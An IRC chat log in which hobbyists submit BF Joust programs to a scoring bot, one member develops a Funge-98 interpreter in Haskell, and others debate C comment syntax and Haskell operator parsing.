01:19:03 <Sgeo> ...
01:19:08 <elliott> Deewiant: Would be totally cool if it told you what it is instead :P
01:19:22 <Sgeo> Gregor, why is... those things?
01:19:45 <Gregor> Sgeo: ITYM "I just shit my pants"
01:20:08 <elliott> [[Montgomery: What facts are your opinions based on?
01:20:08 <elliott> Britta Sundberg-Weitman: Facts.]] --Assange trial
01:20:11 <elliott> :D
01:20:37 <Sgeo> What's the lowest score a program can have?
01:20:40 <elliott> Sgeo: It's a G. invention.
01:20:44 <Sgeo> !bfjoust noop .
01:20:48 <Lymia> !bfjoust lose <
01:20:57 <Sgeo> Lymia, good point
01:20:58 <EgoBot> Score for Sgeo_noop: 8.3
01:20:59 <EgoBot> Score for Lymia_lose: 0.0
01:21:12 <elliott> !bfjoust poop [>>+]
01:21:12 <Sgeo> Who am I winning against?
01:21:16 <EgoBot> Score for elliott_poop: 0.0
01:21:18 <Sgeo> This is distressing
01:21:25 <elliott> !bfjoust poop [>>+<-]
01:21:26 <elliott> Score for elliott_poop2: 98.7
01:21:28 <Lymia> A tripwire variant.
01:21:30 <elliott> *poop:
01:21:32 <elliott> Darn :P
01:21:35 <elliott> Broke my joke.
01:21:35 <Lymia> elliott, w-wha?
01:21:37 <EgoBot> Score for elliott_poop: 0.0
01:21:40 <elliott> Lymia: It was a joke :P
01:21:43 <elliott> I was predicting my score.
01:21:48 <Lymia> Heh.
01:22:00 <Lymia> !bfjoust willwin >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
01:22:03 <EgoBot> Score for Lymia_willwin: 0.0
01:22:11 <Sgeo> tripwire?
01:22:34 <elliott> !bfjoust crap >>>>>>>>>(-)*128
01:22:35 <Lymia> !bfjoust wontlose >.< < Eirin Eirin, Help me Eirin
01:22:47 <EgoBot> Score for elliott_crap: 2.9
01:22:47 <EgoBot> Score for Lymia_wontlose: 0.0
01:22:50 <elliott> !bfjoust crap >>>>>>>>>[(-)*128>]
01:23:00 <elliott> !bfjoust crap2 >>>>>>>>>-[(-)*127>-]
01:23:00 <EgoBot> Score for elliott_crap: 8.1
01:23:10 <Sgeo> !bfjoust braindead_attack (>)*128[-]
01:23:16 <EgoBot> Score for elliott_crap2: 1.8
01:23:16 <EgoBot> Score for Sgeo_braindead_attack: 0.0
01:23:18 <Lymia> Sgeo, that really is braindead.
01:23:21 <Lymia> It goes off the edge.
01:24:08 <elliott> !bfjoust crap2 >>>>>>>>>-[(-)*128.+[-]>-]
01:24:20 <Sgeo> !bfjoust attack_15 (>)*15[-]
01:24:25 <elliott> crap 2, electric boogaloo
01:24:36 <EgoBot> Score for elliott_crap2: 4.3
01:24:36 <EgoBot> Score for Sgeo_attack_15: 2.9
01:25:11 <elliott> !bfjoust crap2 >>>>>>>>>-((-)*128.+[-]>-)*20
01:25:18 <Sgeo> New contest: Smallest positive score
01:25:19 <Sgeo> ;)
01:25:22 <elliott> !bfjoust crap2 >>>>>>>>>((-)*128.+[-]>-)*20
01:25:27 <elliott> !bfjoust crap2 >>>>>>>>>-((-)*127.+[-]>-)*20
01:25:30 <Sgeo> Oh, ellott wins that dangit
01:25:35 <Sgeo> ellott
01:25:44 <EgoBot> Score for elliott_crap2: 2.6
01:25:45 <EgoBot> Score for elliott_crap2: 2.6
01:25:45 <EgoBot> Score for elliott_crap2: 2.6
01:25:54 <Sgeo> I N C E P T E L L O T T
01:26:06 <Lymia> Sgeo, simple.
01:26:07 <elliott> 2cool4skool
01:26:26 <Lymia> !bfjoust low_score (>)*10([-])*1000
01:26:26 <Sgeo> Lymia, hm?
01:26:35 <elliott> !bfjoust crap2 >-[[-]>-]
01:26:41 <elliott> stop fucking up my shit, shitfuckers
01:26:57 <Sgeo> Lymia, how is that different from attack_15? What's the point of he *1000?
01:27:01 <Sgeo> *the
01:27:04 <EgoBot> Score for elliott_crap2: 2.0
01:27:04 <EgoBot> Score for Lymia_low_score: 7.8
01:27:07 <Lymia> Crap.
01:27:13 <elliott> !bfjoust crap2 >-[[-.]>-]
01:27:27 <Lymia> !bfjoust low_score (>-)*10([-]>)*2
01:27:46 <Sgeo> !bfjoust d_2 [[.]+]
01:28:12 <EgoBot> Score for Sgeo_d_2: 7.9
01:28:13 <EgoBot> Score for elliott_crap2: 6.8
01:28:13 <EgoBot> Score for Lymia_low_score: 0.1
01:28:21 <Sgeo> Hah!
01:28:41 <elliott> 6.8
01:28:42 <Lymia> I win.
01:28:42 <elliott> that's not bad
01:28:45 <Lymia> 0.1
01:28:45 <elliott> that's not bad at all
01:28:50 <elliott> Lymia: i'm trying to do _well_ :D
01:28:51 <Lymia> elliott, can you get lower without going to 0?
01:29:02 <elliott> !bfjoust crap2 >-[[-.]>+[+.]>-]
01:29:04 <Lymia> elliott, I'm letting my evolver (try to) do that for me.
01:29:04 <Lymia> =)
01:29:05 <Sgeo> Lymia, how does it work?
01:29:16 <Lymia> Sgeo, first, it plants a decoy to let tripwire, etc kill it.
01:29:27 <EgoBot> Score for elliott_crap2: 11.5
01:29:33 <Lymia> Then it goes over to the first cell of the possible enemy tape, and tries to clear it.
01:29:39 <Lymia> Then it tries to clear the second cell there.
01:29:46 -!- sebbu2 has joined.
01:29:53 <elliott> 11.5
01:29:55 <elliott> 11.fucking5
01:30:10 <elliott> !bfjoust absolute_defecation >-[([-.]>+[+.]>-)*10]
01:30:26 <Lymia> !bfjoust evolotion_of_shit -.+-><-.-[.[(.)*2++]]-(-.)*1-+(>-.-<<+..<...<.<-.>>..+.)*3-.-<.-+<-+<-<>..-.<>.><-+-<+++.--.+-+<+<-+<+<-.<++-+<>-++>+[.<-.[<]]<.+<+<><<<><<.><>+>>-<-.<---[]+[]-.>
01:30:28 <EgoBot> Score for elliott_absolute_defecation: 15.9
01:30:46 <Sgeo> lolwhat at the []
01:30:49 <elliott> 15.9
01:30:51 <elliott> i am
01:30:51 <elliott> so good
01:31:07 <Lymia> Sgeo, I didn't write that program.
01:31:08 <Lymia> =)
01:31:13 <Lymia> I wrote the program that wrote it.
01:31:17 <elliott> the evoLOTION of shit?
01:31:19 <Sgeo> Why does your evolver allow it?
01:31:27 <EgoBot> Score for Lymia_evolotion_of_shit: 16.4
01:31:31 <elliott> !bfjoust absolute_defecation >-[([++-.]>+[+--.]>-)*10]
01:31:33 <Sgeo> Does it have any effect on timing?
01:31:34 <EgoBot> Score for elliott_absolute_defecation: 18.5
01:31:38 <elliott> 18.5
01:31:40 <elliott> 18.5
01:31:45 <Lymia> Sgeo, yes.
01:31:47 <Lymia> In fact.
01:31:53 <Lymia> [] on the home tile can detect attempts to kill you.
01:31:54 <Sgeo> Ah, so it may be useful
01:32:01 <elliott> !bfjoust absolute_defecation >-[([++-.]>+[+--.]>-[-++])*10>-]
01:32:05 <EgoBot> Score for elliott_absolute_defecation: 7.1
01:32:05 <Sgeo> So I didn't need to write [.]
01:32:06 <elliott> Lymia: not quite
01:32:09 <elliott> Lymia: it was changed so that doesn't work
01:32:12 <elliott> because ] takes up a cycle
01:32:12 <Lymia> Ah.
01:32:14 <elliott> meaning you die
01:32:16 <Lymia> :(
01:32:27 <Sgeo> ! d_3 [[]+]
01:32:28 <elliott> !bfjoust pounce [[]-]
01:32:28 -!- sebbu has quit (Ping timeout: 255 seconds).
01:32:29 -!- sebbu2 has changed nick to sebbu.
01:32:37 <Sgeo> !bfjoust d_3 [[]+]
01:32:39 <Lymia> You'll beat tripwire
01:32:51 <elliott> :D
01:32:55 <EgoBot> Score for Sgeo_d_3: 7.6
01:32:56 <EgoBot> Score for elliott_pounce: 7.6
01:33:09 <Sgeo> I thought it would be funny if they got different scores
01:33:10 <Sgeo> Darn
01:33:40 <Sgeo> [e.g. a program being fooled by 1 but not -1 or visa versa]
01:34:11 <Sgeo> Oh wait, it's not two spaces then you're dead, is it
01:34:25 <Sgeo> !bfjoust lie >(+)*127
01:34:31 <elliott> !bfjoust ponce []---------->>>>>>>>>((-)*127>)*20
01:34:47 <EgoBot> Score for Sgeo_lie: 0.0
01:34:48 <EgoBot> Score for elliott_ponce: 8.2
01:34:52 <Sgeo> What?
01:34:57 <elliott> 8.2
01:34:58 <elliott> :D
01:35:07 <elliott> !bfjoust ponce [--+.]---------->>>>>>>>>((-)*127>)*20
01:35:15 <EgoBot> Score for elliott_ponce: 8.6
01:35:21 <Sgeo> How did I win not even against the stupid junk? How did noops win more than lie did?
01:35:26 -!- Lymia_ has joined.
01:35:36 <Sgeo> Lymia_, see my question please
01:35:46 -!- Lymia has quit (Disconnected by services).
01:35:46 -!- Lymia_ has changed nick to Lymia.
01:35:47 -!- Lymia has quit (Changing host).
01:35:47 -!- Lymia has joined.
01:35:52 <elliott> !bfjoust ponce [--+++--+-++-+--.]---------->>>>>>>>>((-)*127>)*20
01:35:56 <EgoBot> Score for elliott_ponce: 10.7
01:36:15 <Sgeo> !bfjoust elliott_why_did_this_die >(+)*127
01:36:26 <EgoBot> Score for Sgeo_elliott_why_did_this_die: 2.1
01:36:32 <Sgeo> ...
01:36:49 <elliott> !bfjoust because_poop
01:36:49 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
01:37:06 <Lymia> Sgeo, because your decoy is horrible.
01:37:11 <Lymia> And you do nothing else than set it.
01:37:25 <Sgeo> Yes, but no-ops at least got positive scores before
01:37:41 <Sgeo> Better question: How dymanic is the hill, that I got a positive score the second time
01:37:46 <Lymia> "tripwires" as they seem to be called.
01:38:06 <Lymia> They expect decoys.
01:38:14 <Lymia> And so skip over the first filled cell.
01:38:16 <elliott> someone
01:38:17 <elliott> fix
01:38:17 <elliott> this
01:38:18 <elliott> fucking
01:38:18 <elliott> code
01:38:19 <elliott> shit
01:38:23 <elliott> it's a shitty code
01:38:24 <elliott> of shitness
01:38:29 <elliott> that's an my opinion
01:38:30 <Sgeo> Lymia, _just_ the first?
01:38:40 <elliott> wait
01:38:41 <elliott> maybe i a stupids
01:39:08 <Sgeo> !bfjoust dumb_tripwire_decoy >(+)*127>(+)*127
01:39:19 <EgoBot> Score for Sgeo_dumb_tripwire_decoy: 2.1
01:39:21 <elliott> oh my god it worked!! just kitting
01:39:24 <elliott> i mean kidding
01:39:24 <Sgeo> Probably not enough time for it to work
01:39:27 <elliott> shitfucking
01:39:29 <elliott> um
01:40:45 <elliott> ("o","\ETX#@>. 1#@vv\"@.4\"@#<.>$#v5#.< #>3.#@$ .^@^ 0@# 4.2<v.6_5.@>7.")
01:40:45 <elliott> Wrote to mycotmp0.tmp with o.
01:40:46 <elliott> ok.
01:40:47 <elliott> that.
01:40:49 <elliott> does not look righ.
01:40:50 <elliott> *right.
01:40:53 <elliott> > ord '\ETX'
01:40:53 <lambdabot> 3
01:40:58 <elliott> what.
01:41:01 <elliott> fucking what?
01:41:07 <Sgeo> !bfjoust imprecise_tripwire_decoy >(+)*32>(+)*32>(+)*32
01:41:08 <elliott> ooh, for one i forget to write newlines
01:41:17 <EgoBot> Score for Sgeo_imprecise_tripwire_decoy: 2.1
01:41:31 -!- Sgeo has changed nick to Sgeo2dot1.
01:42:00 <elliott> GOOD: read written data to (-10, -10)
01:42:00 <elliott> GOOD: (-8, -9) is @
01:42:02 <elliott> FUCKING YES
01:42:04 <elliott> YES
01:42:06 <elliott> I JUST NEED BINARY MODE
01:42:07 <elliott> YES
01:42:09 <elliott> FUCKING
01:42:11 <elliott> YES
01:42:15 <elliott> HOTNESS
01:42:20 <elliott> woooooooooooooooooooooooooo
01:42:29 <elliott> and then it's just like
01:42:31 <elliott> concurrent funge
01:42:32 <elliott> and then fingerprints
01:42:35 <elliott> i am amazing
01:42:52 <elliott> i am the best, does everyone agree that i am the best
01:43:44 <Sgeo2dot1> Ignorers suck
01:44:25 <elliott> i don't know any of them
01:44:38 <Sgeo2dot1> ...
01:44:56 <pikhq> elliott: ... Funge-98?
01:44:57 <pikhq> elliott: Dang.
01:45:05 <elliott> pikhq: in two days, in Haskell
01:45:10 <elliott> ok, so I lack:
01:45:25 <elliott> - text (non-binary) mode in i and o (easy to fix for i, slightly harder for o)
01:45:29 <elliott> - concurrent funge (t support)
01:45:29 <elliott> and
01:45:35 <elliott> - any kind of fingerprint support at all
01:45:44 <pikhq> That's still pretty impressive.
01:45:45 <elliott> pikhq: but it passes mycology with no BADs if I tell it I don't support i and o
01:46:00 <elliott> also, it goes pretty fast, apart from when it shrinks the bounds, which I'm going to optimise
01:46:33 <elliott> SLOCDirectorySLOC-by-Language (Sorted)
01:46:33 <elliott> 541 shiro haskell=541
01:46:33 <elliott> yay
01:47:03 <pikhq> ... 541 lines of code‽
01:47:40 <elliott> pikhq: SLOCs.
01:47:45 <elliott> i.e. disregarding whitespace and comments.
01:47:50 <pikhq> Still.
01:48:16 <elliott> apparently it would take $14,174 to develop :-P
01:48:25 <elliott> Total Physical Source Lines of Code (SLOC) = 541
01:48:26 <elliott> Development Effort Estimate, Person-Years (Person-Months) = 0.10 (1.26)
01:48:26 <elliott> (Basic COCOMO model, Person-Months = 2.4 * (KSLOC**1.05))
01:48:26 <elliott> Schedule Estimate, Years (Months) = 0.23 (2.73)
01:48:26 <elliott> (Basic COCOMO model, Months = 2.5 * (person-months**0.38))
01:48:26 <elliott> Estimated Average Number of Developers (Effort/Schedule) = 0.46
01:48:28 <elliott> Total Estimated Cost to Develop = $ 14,174
01:48:30 <elliott> (average salary = $56,286/year, overhead = 2.40).
01:48:41 <elliott> pikhq: look at my beautiful hideous code
01:48:43 <elliott> mergeByteString :: Vector -> FungeSpace -> ByteString -> (Vector, FungeSpace)
01:48:43 <elliott> mergeByteString (ox,oy) fs s = ((bx,by),fs')
01:48:43 <elliott> where ((_,by),fs',_,bx) = B.foldl' byte ((ox,oy),fs,False,0) s
01:48:43 <elliott> byte (p@(x,y),fs,lastWasCR,biggestX) w
01:48:44 <elliott> | w == ff || (w == lf && lastWasCR) = (p, fs, False, biggestX)
01:48:46 <elliott> | w == cr || w == lf = ((ox,y+1), fs, w == cr, biggestX)
01:48:48 <elliott> | w == space = ((x+1,y), fs, False, max (x+1) biggestX)
01:48:50 <elliott> | otherwise = ((x+1,y), insertFS p (fromIntegral w) fs, False, max (x+1) biggestX)
01:52:10 <elliott> pikhq: MOST ELEGANT CODE?
01:52:21 <elliott> yay, binary reading now works
01:52:31 <elliott> o just needs text mode
01:53:19 <elliott> pikhq: You'd like my planned fingerprint implementation design. It involves typeclasses and type families.
01:55:13 <Sgeo2dot1> Wait, the Notion Ink Adam exists now? It's shipping?
01:55:58 <elliott> meh, tablets.
02:03:30 <elliott> ghc: panic! (the 'impossible' happened)
02:03:30 <elliott> (GHC version 6.12.3 for x86_64-unknown-linux):
02:03:30 <elliott> TcTyFuns.flattenType: synonym family in a rank-n type
02:03:32 <elliott> olsner: do i get a prize?
02:08:05 -!- Laugarhraun has quit (Read error: Connection reset by peer).
02:08:17 -!- Laugarhraun has joined.
02:10:38 -!- Laugarhraun has quit (Read error: Operation timed out).
02:14:39 <Lymia> Urg.
02:14:47 <Lymia> It seems that my evolver has hit a local maxima.
02:14:56 <Lymia> -.+-><-.-[.[(.)*2++]]
02:14:59 <Lymia> Completely conserved.
02:15:14 <Lymia> Between 50 generations
02:15:16 * Sgeo2dot1 wants to see the score
02:15:19 -!- Sgeo2dot1 has changed nick to Sgeo.
02:16:00 <Sgeo> !bfjoust Lymias_local_maxima -.+-><-.-[.[(.)*2++]]
02:16:09 <Sgeo> >.>
02:16:42 <Sgeo> RIP EgoBot?
02:16:50 <EgoBot> Score for Sgeo_Lymias_local_maxima: 18.8
02:17:13 <Sgeo> Oh, huh
02:19:04 <elliott> pikhq: OMG, it actually works.
02:20:23 <Lymia> elliott.
02:20:29 <Lymia> Make a call/cc opcode for Befunge.
02:20:36 <elliott> NO :P
02:20:42 <elliott> Lymia: That exists, basically.
02:20:45 <elliott> There's TRDS, which is complete time travel.
02:20:54 <Lymia> :V
02:21:08 <Lymia> Implement call/cc in C.
02:21:13 <elliott> @hoogle (a -> Bool) -> [a] -> Bool
02:21:13 <lambdabot> Prelude all :: (a -> Bool) -> [a] -> Bool
02:21:13 <lambdabot> Prelude any :: (a -> Bool) -> [a] -> Bool
02:21:14 <lambdabot> Data.List all :: (a -> Bool) -> [a] -> Bool
02:21:18 <elliott> @hoogle (a -> Bool) -> [a] -> a
02:21:18 <lambdabot> Data.List find :: (a -> Bool) -> [a] -> Maybe a
02:21:18 <lambdabot> Prelude dropWhile :: (a -> Bool) -> [a] -> [a]
02:21:18 <lambdabot> Prelude filter :: (a -> Bool) -> [a] -> [a]
02:29:58 <elliott> pikhq: haha, this is totally working except for one place where I need unsafeCoerce
02:30:00 <elliott> pikhq: but oh well, right?
02:30:05 <elliott> it'll only break if you break the invariants!
02:33:16 <elliott> pikhq: DO YOU WANT TO SEE MY AMAZING HACK
02:33:19 <pikhq> elliott: ?
02:33:20 <elliott> IT'S REALLY BEAUTIFUL
02:33:22 <elliott> {-# LANGUAGE RankNTypes, TypeFamilies, ExistentialQuantification, StandaloneDeriving, FlexibleContexts #-}
02:33:28 <elliott> And it *actually works!*
02:33:39 <elliott> pikhq: I figured out how to model Funge-98 fingerprints really elegantly in Haskell.
02:33:44 <elliott> No: I mean *really* elegantly.
02:33:47 <pikhq> elliott: Oh dear.
02:33:54 <elliott> It has exactly one use of unsafeCoerce (where GHC is too dumb to know that the types do match).
02:33:57 <pikhq> This hack is probably horrifying.
02:33:57 <elliott> But the rest is totally safe.
02:34:00 <elliott> It's not.
02:34:08 <pikhq> Huh.
02:34:27 <pikhq> So, one instance of unsafeCoerce to get the type system to comply, eh?
02:34:35 <elliott> pikhq: http://hpaste.org/43765/fingerprints Read it. You might want to run "test" in GHCi to see it working. Note that it executes SLLY's F instruction, meaning that once it gets to P, the state flipped to False, which is how it gets output.
02:36:39 <pikhq> elliott: Dang.
02:37:12 <elliott> pikhq: What I'm trying to say is: Jesus christ, I'm going to use unsafeCoerce in an actual program and I don't even feel _ashamed_.
02:37:23 <pikhq> elliott: That's genuinely impressive.
02:37:28 <elliott> Oh, and I plan to use some Template Haskell magic to sweeten the Fingerprint-writing deal.
02:37:40 <elliott> For instance, NULL will look more like:
02:38:13 <elliott> ...well.
02:38:17 <elliott> Point is you won't have to write fpName separately.
02:38:20 <elliott> And the data type will be done for you.
02:38:29 <elliott> And maybe I'll even derive the list of handled instructions.
02:48:31 -!- copumpkin has joined.
03:10:54 -!- Lymia_ has joined.
03:11:08 -!- Lymia has quit (Disconnected by services).
03:11:08 -!- Lymia_ has changed nick to Lymia.
03:11:10 -!- Lymia has quit (Changing host).
03:11:10 -!- Lymia has joined.
03:11:57 <elliott> pikhq: it isn't working with maps :(
03:12:04 <elliott> I don't want an O(n) scan for every fingerprint instruction
03:12:53 <pikhq> elliott: :(
03:13:33 <elliott> *Main> dmInsert NULL fpInitialState dmEmpty `dmAt` NULL
03:13:33 <elliott> NULLState
03:13:34 <elliott> fuck yeah
03:13:42 <Sgeo> elliott, there was an update to Atomo
03:13:48 <elliott> okay
03:15:03 <elliott> Cannot match a monotype with `StateT FungeState IO'
03:15:04 <elliott> wat
03:20:37 <pikhq> wut
03:20:55 <elliott> pikhq: my program has regressed from beauty to beautiful but inscrutable types.
03:46:29 <elliott> pikhq: FIXED IT
03:46:31 <elliott> It uses maps now.
03:48:07 <elliott> pikhq:
03:48:10 <elliott> pikhq: http://hpaste.org/43766/fingerprints_2
03:48:14 <elliott> pikhq: Now with Data.Dynamic.
03:48:20 <elliott> pikhq: Allow me to tell you how awesome this shit is: FUCKING AWESOME
03:48:29 <elliott> It's... just working.
03:50:00 <elliott> pikhq: EXCUSE ME LOOK AT THE AMAZING
03:53:52 -!- azaq23 has joined.
04:05:24 <quintopia> lymia: don't do snipping of dead code. sometimes introns get activated and do useful things. leave the garbage in the evolving code and only remove it from the code that gets /tested/ and /scored/
04:06:39 <Lymia> !bfjoust evo_wtf .++.++++><+-><>-(.[[([-])*2-]-.<.]>++[])*7+.[<.<<<>]+(.(+.-.<)*1.-.)*11[][]<+>.([]-<<[])*9-[+>[.[><.[]<+-><<.<[]+[(<)*8.>]--><(.[-<(-<<><)*12>++([<><][](-(>>>[]<)*2)*1[(>...[]<<([].[-].)*3+[>(+)*9[]])*20])*1+>->><]>[.+(.>.)*14-.<<]<><+.>[].->.+..[]+...>+<>--<[]-++-.+++->+>><.+-)*6>-<<[<<..-]<.(-<<->+)*10+.+>..<<<+.>].>>.-[]>]...>]>>(.+)*4>-+[].+(.+++[.<>]+)*4.<<><-->
04:07:22 <Lymia> quintopia, sometimes, that's easier said than done.
04:07:23 <Lymia> =p
04:08:09 <EgoBot> Score for Lymia_evo_wtf: 0.9
04:08:37 <quintopia> Lymia: then don't do anything about dead code
04:09:22 <elliott> pikhq: http://hpaste.org/43768/fingerprints_3
04:09:25 <elliott> pikhq: Look at testShow.
04:09:31 <elliott> pikhq: That's right, I can print the state of any fingerprint, generically.
04:09:43 <pikhq> Yay,
04:09:44 <elliott> Er. Nested liftIO, lol.
04:09:53 <elliott> pikhq: You don't realise. The states are *Dynamic*s.
04:11:13 <elliott> Having pretty much perfected existence, I'm going to sleep now.
04:11:19 -!- elliott has quit (Quit: Leaving).
04:13:55 <quintopia> it seems quite reasonable that he may actually produce the best funge98 interpreter to date...
04:22:48 <pikhq> At this rate?
04:22:50 <pikhq> Yeah.
04:23:11 <pikhq> Knowing him? ... Actually, still possible that he gets the best funge98 interpreter before he stops. :P
04:25:56 <quintopia> i wouldn't have thought so until tonight. but he's close enough now that the idea can't be discarded
04:26:22 <quintopia> he's a lot like me...i have scads of unfinished lost or broken projects lying around...
04:28:42 <pikhq> Most of us do.
04:30:21 <quintopia> is procrastination in the hacker nature?
04:30:38 <pikhq> Perhaps/
04:40:40 -!- azaq23 has quit (Read error: Operation timed out).
04:42:38 -!- azaq23 has joined.
04:43:59 <myndzi> quintopia: can i get back to you on that?
04:45:44 -!- Wamanuz4 has joined.
04:48:51 -!- Wamanuz3 has quit (Ping timeout: 240 seconds).
04:59:29 <quintopia> myndzi: no need. finding out the answer is a project i will have forgotten in a few days
05:00:35 -!- Zuu has quit (Read error: Connection reset by peer).
05:05:00 -!- Zuu has joined.
05:11:53 -!- myndzi\ has joined.
05:13:39 -!- augur has quit (Remote host closed the connection).
05:14:02 -!- myndzi has quit (Ping timeout: 245 seconds).
05:15:25 -!- amca has joined.
05:16:04 -!- augur has joined.
05:17:41 -!- augur has quit (Remote host closed the connection).
05:27:52 -!- augur has joined.
05:54:05 <Sgeo> Atomo tuples are.... bizarre
05:54:41 -!- zzo38 has joined.
05:56:13 <zzo38> Is it possible to make a printed orchestral score for Purple Motion's musics?
06:06:41 -!- Lymia_ has joined.
06:06:48 -!- Lymia has quit (Disconnected by services).
06:06:50 -!- Lymia_ has changed nick to Lymia.
06:06:52 -!- Lymia has quit (Changing host).
06:06:53 -!- Lymia has joined.
06:25:14 -!- aloril has quit (Read error: Operation timed out).
06:26:17 -!- calamari has quit (Quit: Leaving).
06:31:33 -!- oerjan has joined.
06:35:20 -!- Lymia_ has joined.
06:35:56 -!- Lymia has quit (Disconnected by services).
06:35:57 -!- Lymia_ has changed nick to Lymia.
06:35:58 -!- Lymia has quit (Changing host).
06:35:58 -!- Lymia has joined.
06:40:11 -!- aloril has joined.
06:41:07 -!- azaq23 has quit (Quit: Leaving.).
06:50:05 -!- Lymia_ has joined.
06:53:04 -!- Lymia has quit (Ping timeout: 240 seconds).
06:59:53 <zzo38> Whose idea was it anyways to make C comments start with /* even though / is a valid binary operator and * is a valid unary prefix operator?
07:00:54 <oerjan> fancy google logo...
07:01:08 <zzo38> At least with C++ comments (also valid in many C compilers) start with // which is an invalid syntax in C, so it is OK that the comment starts with //
07:01:26 <pikhq> zzo38: // comments are C99.
07:01:47 <pikhq> As for why /*? I dunno. The block comment syntax in C is a major misfeature.
07:01:49 <zzo38> pikhq: That is one of the good things they added in C99.
07:01:57 * oerjan vaguely recalls someone saying they removed =- for that reason
07:02:23 <oerjan> and i guess =+ and =* too
07:02:38 <pikhq> oerjan: More like "replaced with something saner".
07:02:49 <oerjan> oh the reverse didn't exist?
07:02:56 <pikhq> Nope.
07:03:28 <oerjan> are there any remaining such ambiguities other that /* ?
07:04:24 <pikhq> Probably, but not many, I'd imagine.
07:04:35 <zzo38> There are really strange things such as (x+++++y) which according to the order of the parser, will always cause it to resolve in an invalid way even though there is a way to split it in which is valid, but that is not quite the same kind of thing.
07:04:47 <pikhq> Unlike C++, where you need to evaluate lambda calculus in order to parse. :P
07:05:10 <oerjan> hm haskell has the same problem with things (although not - which would give a comment) followed by -
07:05:24 <fizzie> There's also plain <, which may be a comparison operator or a start of <<; same goes for - and ->.
07:05:25 <oerjan> which is probably the reason they consider unary - ugly
07:05:43 <pikhq> fizzie: Aaah yes.
07:05:45 <zzo38> fizzie: But in C, < is only a binary operator so < < is not a valid syntax.
07:05:52 <pikhq> zzo38: But << is.
07:06:04 <pikhq> << is also a binary operator. :)
07:06:12 <zzo38> Same with -> because - is not a unary suffix operator so - > is not a valid syntax.
07:06:20 <pikhq> -> is *also* a binary operator.
07:06:24 <zzo38> That is why things like << and -> and // are OK.
07:06:35 <fizzie> It is better in that sense than the /* thing.
07:06:36 <oerjan> zzo38: for +++++ i guess it's better to give an error than to mislead when it's ambiguous
07:06:48 <pikhq> True, it is much much better than /*.
07:06:58 <oerjan> although what about just +++ ?
07:07:00 <pikhq> Especially given the really odd rules for *ending* such a comment block.
07:07:16 <pikhq> oerjan: Ow.
07:07:33 <zzo38> oerjan: I think the specification actually says to treat it as (x ++ ++ + y) but that is wrong because x++ is not lvalue.
07:08:02 <zzo38> Such strange cases are not particularly important, though.
07:08:09 <fizzie> +++ is always ++, +; it's the longest token always.
07:08:33 <oerjan> hm
07:09:49 <oerjan> > let x =-3 in x -- >:|
07:09:50 <lambdabot> <no location info>: parse error on input `in'
07:10:08 <zzo38> However, unlike << and -> and // but -- is different because - is valid unary operator to make - - but in this case it is also OK because putting two negative signs cancel each other out and is redundant.
07:10:38 <pikhq> Unary minus in Haskell is very much a hack.
07:10:46 <oerjan> > let x =- y = -y in 2 =- 2 -- >:|
07:10:47 <lambdabot> -2
07:11:17 <zzo38> The more thing happened when the first - is binary operator and the second - is unary, but that also shouldn't matter.
07:11:31 <zzo38> It is only /* which is the worst one.
07:12:45 <zzo38> Do any processors have a command to bitshift a number of any length and use bitwise AND/OR/XOR on numbers of any length?
07:13:09 <oerjan> oh and of course -- does this in haskell too
07:13:25 <zzo38> What does -- do in Haskell?
07:13:30 <pikhq> zzo38: Comment.
07:13:34 <oerjan> > let x +-- y = x+y in 2 +-- 2 -- is a comment
07:13:35 <lambdabot> 4
07:14:01 <pikhq> But it's also an entirely valid string in an operator. :)
07:14:02 <oerjan> in this case putting -- directly after an operator makes it _not_ a comment
07:14:39 <oerjan> although honestly i don't see it as much of a problem because my intuition is already that operator characters fuse in haskell, and i like to use space
07:16:28 <oerjan> > do x <- Just $ 2 < - 2 in x
07:16:29 <lambdabot> <no location info>:
07:16:29 <lambdabot> The last statement in a 'do' construct must be an ...
07:16:31 <oerjan> er
07:16:34 <oerjan> > do x <- Just $ 2 < - 2; x
07:16:35 <lambdabot> Couldn't match expected type `Data.Maybe.Maybe b'
07:16:35 <lambdabot> against inferred ...
07:16:42 <oerjan> bah
07:16:45 <oerjan> > do x <- Just $ 2 < - 2; return x
07:16:46 <lambdabot> Just False
07:17:01 <zzo38> If whoever invented C decided that instead of /*...*/ that a comment is */.../* or {*...*} or (*...*) then you would not have that problem.
07:17:17 <oerjan> ...i guess that lambdabot response captures my attitude to this...
07:18:21 <oerjan> :t do x < - Just $ 2 < - 2; return x
07:18:22 <lambdabot> Couldn't match expected type `Expr'
07:18:22 <lambdabot> against inferred type `a -> Maybe a'
07:18:22 <lambdabot> In the expression: Just
07:18:29 <pikhq> zzo38: Heck, there'd be less of an issue if K&R just made them nest the sane way.
07:18:29 <oerjan> :t \x -> do x < - Just $ 2 < - 2; return x
07:18:31 <lambdabot> Couldn't match expected type `a -> b' against inferred type `Bool'
07:18:31 <lambdabot> In the first argument of `($)', namely `x < - Just'
07:18:31 <lambdabot> In a stmt of a 'do' expression: x < - Just $ 2 < - 2
07:18:41 <oerjan> hmph
07:19:03 <pikhq> zzo38: But, it kinda shows that they really designed around ridiculously simple parsers, as was reasonable back in the day.
07:19:05 <oerjan> oh wait
07:19:23 <zzo38> pikhq: These things has not to do with the nesting of comments, though.
07:19:34 <zzo38> I do not think the comments have to nest.
07:19:49 <pikhq> zzo38: /* /* /* /* */
07:19:56 <pikhq> The above is bloody confusing.
07:20:11 <zzo38> pikhq: It is confusing, but I do not consider it to be the problem.
07:20:17 <pikhq> Well, not *bloody* confusing.
07:20:32 <pikhq> Mix in preprocessor pain and agony and it gets to actually be that way.
07:21:01 <zzo38> The problem is dividing by something pointed from another value.
07:21:03 <pikhq> God damn the C preprocessor.
07:21:49 <zzo38> C preprocessor works for some things.... but some things it doesn't which is why I made things in Enhanced CWEB you can also use the prepreprocessor, and even the preprepreprocessor.
07:22:46 <oerjan> > let x = 1 in do x < - 2 *> Just True; return x
07:22:47 <lambdabot> Precedence parsing error
07:22:47 <lambdabot> cannot mix `GHC.Classes.<' [infix 4] and `Con...
07:23:10 <oerjan> ...they have the _same_ precedence?
07:23:28 <oerjan> > let x = 1 in do x < - 2 >> Just True; return x
07:23:29 <lambdabot> Couldn't match expected type `m a'
07:23:30 <lambdabot> against inferred type `GHC.Bool....
07:23:41 -!- impomatic has joined.
07:23:45 <oerjan> > (0$0 >>)
07:23:45 <lambdabot> The operator `GHC.Base.>>' [infixl 1] of a section
